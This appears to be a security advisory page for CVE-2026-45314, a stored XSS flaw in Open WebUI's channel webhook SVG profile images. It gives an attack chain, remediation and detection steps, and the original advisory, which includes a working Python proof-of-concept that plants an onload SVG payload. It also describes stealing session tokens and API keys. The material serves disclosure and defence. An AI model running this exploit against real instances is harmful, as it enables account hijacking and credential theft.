CVE-2026-45314: Open WebUI: Stored XSS via webhook SVG profile image

GHSA-3856-3vxq-m6fc HIGH CISA: TRACK*
Published May 14, 2026
CISO Take

Open WebUI versions through 0.9.2 contain a stored cross-site scripting flaw where any low-privilege authenticated user can embed a malicious SVG payload into a channel webhook's profile image URL; the server base64-decodes and streams the SVG directly to browsers as image/svg+xml with no sanitization, executing attacker JavaScript in the application origin for every user who views that webhook. The impact is severe: a successful exploit lets the attacker silently exfiltrate session tokens and API keys stored in localStorage, hijack accounts, and chain into further compromise—all from a single low-privilege account and a 30-line Python script. Open WebUI has accumulated 91 CVEs in this package with a risk score of 38/100, signaling a persistent pattern of security debt in a widely self-hosted AI chat interface. Patch to open-webui 0.9.3 immediately; if patching is blocked, disable the Channels (Beta) feature in the Admin Panel as a temporary workaround and audit webhook records in your database for existing data:image/svg+xml payloads.

Sources: GitHub Advisory ATLAS

What is the risk?

Risk is HIGH. The attack requires only a low-privilege account and the Channels Beta feature to be enabled—no admin access, no AI/ML expertise. The PoC is public and trivial. Stored XSS in an AI UI platform is particularly dangerous because these deployments routinely store API keys for frontier models (OpenAI, Anthropic) in browser localStorage or cookies, giving attackers direct access to costly inference APIs. The patch is available (v0.9.3), reducing residual risk for patched instances, but unpatched self-hosted deployments remain fully exposed.

How does the attack unfold?

Initial Access
Attacker authenticates with a low-privilege account to the Open WebUI instance where the Channels Beta feature is enabled.
AML.T0012
Payload Injection
Attacker creates a channel and POSTs a webhook with profile_image_url set to a base64-encoded SVG containing an onload XSS handler via the /api/v1/channels/{id}/webhooks/create endpoint.
AML.T0049
Persistence
The malicious SVG URL is stored in the database as part of the webhook record and remains active for any user who subsequently loads the webhook profile image, with no expiry.
Credential Exfiltration
When any authenticated user's browser loads the webhook profile image URL, the SVG executes JavaScript that harvests session tokens and LLM API keys from localStorage and exfiltrates them to the attacker.
AML.T0025

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Open WebUI pip <= 0.9.2 0.9.3
143.3K Pushed 8d ago 77% patched ~5d to patch Full package profile →

Do you use Open WebUI? You're affected.

How severe is it?

CVSS 3.1
N/A
EPSS
0.2%
chance of exploitation in 30 days
Higher than 11% of all CVEs
Exploitation Status
Exploit Available
Exploitation: MEDIUM
Sophistication
Trivial
Exploitation Confidence
medium
CISA SSVC: Public PoC
Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What should I do?

5 steps
  1. PATCH

    Upgrade open-webui to >= 0.9.3 immediately (pip install --upgrade open-webui or pull the updated Docker image).

  2. WORKAROUND (if patching is delayed): Disable Channels (Beta) in Admin Panel → Settings.

  3. DETECTION

    Query your database for webhook records where profile_image_url starts with 'data:image/svg+xml' — these are IOCs for existing exploitation or pre-positioned payloads: SELECT id, name, profile_image_url FROM channel_webhooks WHERE profile_image_url LIKE 'data:image/svg+xml%'.

  4. ROTATE

    If you cannot confirm an unpatched instance was not compromised, rotate all API keys stored in user settings (OpenAI, Anthropic, etc.) and invalidate active sessions.

  5. MONITOR

    Alert on HTTP requests to /api/v1/channels/webhooks/*/profile/image that return Content-Type: image/svg+xml from your reverse proxy logs.

What does CISA's SSVC say?

Decision Track*
Exploitation poc
Automatable No
Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 9 - Risk management system
ISO 42001
A.9.3 - Information security controls for AI systems
NIST AI RMF
MANAGE 2.2 - Mechanisms to sustain the value of deployed AI
OWASP LLM Top 10
LLM02 - Insecure Output Handling LLM06 - Sensitive Information Disclosure

Frequently Asked Questions

What is CVE-2026-45314?

Open WebUI versions through 0.9.2 contain a stored cross-site scripting flaw where any low-privilege authenticated user can embed a malicious SVG payload into a channel webhook's profile image URL; the server base64-decodes and streams the SVG directly to browsers as image/svg+xml with no sanitization, executing attacker JavaScript in the application origin for every user who views that webhook. The impact is severe: a successful exploit lets the attacker silently exfiltrate session tokens and API keys stored in localStorage, hijack accounts, and chain into further compromise—all from a single low-privilege account and a 30-line Python script. Open WebUI has accumulated 91 CVEs in this package with a risk score of 38/100, signaling a persistent pattern of security debt in a widely self-hosted AI chat interface. Patch to open-webui 0.9.3 immediately; if patching is blocked, disable the Channels (Beta) feature in the Admin Panel as a temporary workaround and audit webhook records in your database for existing data:image/svg+xml payloads.

Is CVE-2026-45314 actively exploited?

No confirmed active exploitation of CVE-2026-45314 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-45314?

1. PATCH: Upgrade open-webui to >= 0.9.3 immediately (pip install --upgrade open-webui or pull the updated Docker image). 2. WORKAROUND (if patching is delayed): Disable Channels (Beta) in Admin Panel → Settings. 3. DETECTION: Query your database for webhook records where profile_image_url starts with 'data:image/svg+xml' — these are IOCs for existing exploitation or pre-positioned payloads: SELECT id, name, profile_image_url FROM channel_webhooks WHERE profile_image_url LIKE 'data:image/svg+xml%'. 4. ROTATE: If you cannot confirm an unpatched instance was not compromised, rotate all API keys stored in user settings (OpenAI, Anthropic, etc.) and invalidate active sessions. 5. MONITOR: Alert on HTTP requests to /api/v1/channels/webhooks/*/profile/image that return Content-Type: image/svg+xml from your reverse proxy logs.

What systems are affected by CVE-2026-45314?

This vulnerability affects the following AI/ML architecture patterns: AI chatbot UI deployments, Self-hosted LLM interfaces, LLM API proxy deployments, Agent frameworks with Open WebUI front-end.

What is the CVSS score for CVE-2026-45314?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

AI chatbot UI deploymentsSelf-hosted LLM interfacesLLM API proxy deploymentsAgent frameworks with Open WebUI front-end

MITRE ATLAS Techniques

AML.T0012 Valid Accounts
AML.T0025 Exfiltration via Cyber Means
AML.T0049 Exploit Public-Facing Application
AML.T0055 Unsecured Credentials
AML.T0091.000 Application Access Token

Compliance Controls Affected

EU AI Act: Article 9
ISO 42001: A.9.3
NIST AI RMF: MANAGE 2.2
OWASP LLM Top 10: LLM02, LLM06

What are the technical details?

Original Advisory

As part of our research on improving our [AI pentest](https://www.aikido.dev/attack/aipentest), we have uncovered the following issue in Open WebUI. We've manually verified and tided up the report, but you can also find the original agent finding at the bottom of this report. ### Summary The channel webhook create/update flow accepts arbitrary `profile_image_url` values, including `data:image/svg+xml;base64,...` payloads. The profile image endpoint then decodes and serves this SVG as `image/svg+xml` without sanitization, allowing attacker-controlled script handlers (for example onload) to execute when the profile-image URL is opened in the browser. ### Details The server accepts `data:image/svg+xml;base64,...` values for `profile_image_url` when creating or updating a webhook. Later, `GET /api/v1/channels/webhooks/{webhook_id}/profile/image` detects `data:image`, base64-decodes it, derives the media type from the header (e.g., `image/svg+xml`), and returns a `StreamingResponse` with `Content-Disposition: inline` and `media_type` set to `image/svg+xml`. There is no sanitization or transformation. When this URL is opened in a browser, SVG event handlers such as onload execute in the application origin, resulting in stored XSS. ### PoC 1. Set up a new instance of Open WebUI and log in as admin 2. In the Admin Panel, enable *Channels (Beta)* and click Save 3. Create a low-privilege user in the Users tab 4. As the attacker, use the low-privilege user to run the following script: ```py import base64 import secrets import requests BASE_URL = "http://127.0.0.1:14000" EMAIL = "low@local.test" PASSWORD = "low" CHANNEL_NAME_PREFIX = "xsswh-poc" WEBHOOK_NAME = "xss-webhook-poc" SVG_CANARY = '<svg xmlns="http://www.w3.org/2000/svg" onload="alert(origin)"></svg>' if __name__ == "__main__": s = requests.Session() s.headers.update({"Content-Type": "application/json"}) r = s.post( f"{BASE_URL}/api/v1/auths/signin", json={"email": EMAIL, "password": PASSWORD}, timeout=30, ) r.raise_for_status() s.headers["Authorization"] = f"Bearer {r.json()['token']}" r = s.post( f"{BASE_URL}/api/v1/channels/create", json={ "name": f"{CHANNEL_NAME_PREFIX}-{secrets.token_hex(4)}", "type": "group", "user_ids": [], "group_ids": [], }, timeout=30, ) r.raise_for_status() channel_id = r.json()["id"] payload = "data:image/svg+xml;base64," + base64.b64encode(SVG_CANARY.encode()).decode() r = s.post( f"{BASE_URL}/api/v1/channels/{channel_id}/webhooks/create", json={"name": WEBHOOK_NAME, "profile_image_url": payload}, timeout=30, ) r.raise_for_status() webhook_id = r.json()["id"] print(f"{BASE_URL}/api/v1/channels/webhooks/{webhook_id}/profile/image") ``` This should print a URL like the following, which when visited (by any user), triggers a JavaScript popup proving XSS: http://127.0.0.1:14000/api/v1/channels/webhooks/aa7c925f-4584-4274-82bf-33a7e98a3365/profile/image <img width="1079" height="222" alt="image" src="https://github.com/user-attachments/assets/ce158ace-d14f-4a73-aeb0-e828aff005df" /> ### Impact Conditions required: The victim must be an authenticated, verified user. Channel feature must be enabled. Stored XSS enables arbitrary JavaScript execution in the context of the application's origin for any viewer who loads the malicious profile image URL. An attacker can exfiltrate session tokens (localstorage) or API keys stored in the page context, perform unauthorized actions on behalf of the victim via same-origin APIs, alter settings, or pivot to broader account compromise. Because this vector is persisted in the database as part of a webhook's profile image, it remains active until removed. ### Original Agent Report <img width="400" alt="app aikido dev_ai-pentests_projects_116389_assessments_019d67d4-81c8-7dd2-bb9e-0a4a774b2c78_issues_sidebarIssue=20439766 (5)" src="https://github.com/user-attachments/assets/0bfb2c7c-f7c4-49cd-a262-5ed9e1bb10df" />

Exploitation Scenario

An attacker with a free trial or low-privilege account on a corporate Open WebUI instance enables channel creation, crafts a webhook payload containing a base64-encoded SVG with an onload handler that exfiltrates document.cookie and localStorage to an attacker-controlled endpoint, and creates the webhook via the API. The malicious profile image URL is now persisted in the database. When a higher-privileged user—such as an admin reviewing channel configurations or a developer viewing webhook details—loads the profile image URL (triggered automatically by the UI rendering the webhook list), the SVG executes, silently POSTing session tokens and stored LLM API keys to the attacker. The attacker then uses the harvested API keys to make unlimited inference calls or pivot into backend systems accessible from the admin session.

Weaknesses (CWE)

CWE-87 — Improper Neutralization of Alternate XSS Syntax: The product does not neutralize or incorrectly neutralizes user-controlled input for alternate script syntax.

  • [Implementation] Resolve all input to absolute or canonical representations before processing.
  • [Implementation] Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including tag attributes, hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Source: MITRE CWE corpus.

Timeline

Published
May 14, 2026
Last Modified
May 14, 2026
First Seen
May 15, 2026

Related Vulnerabilities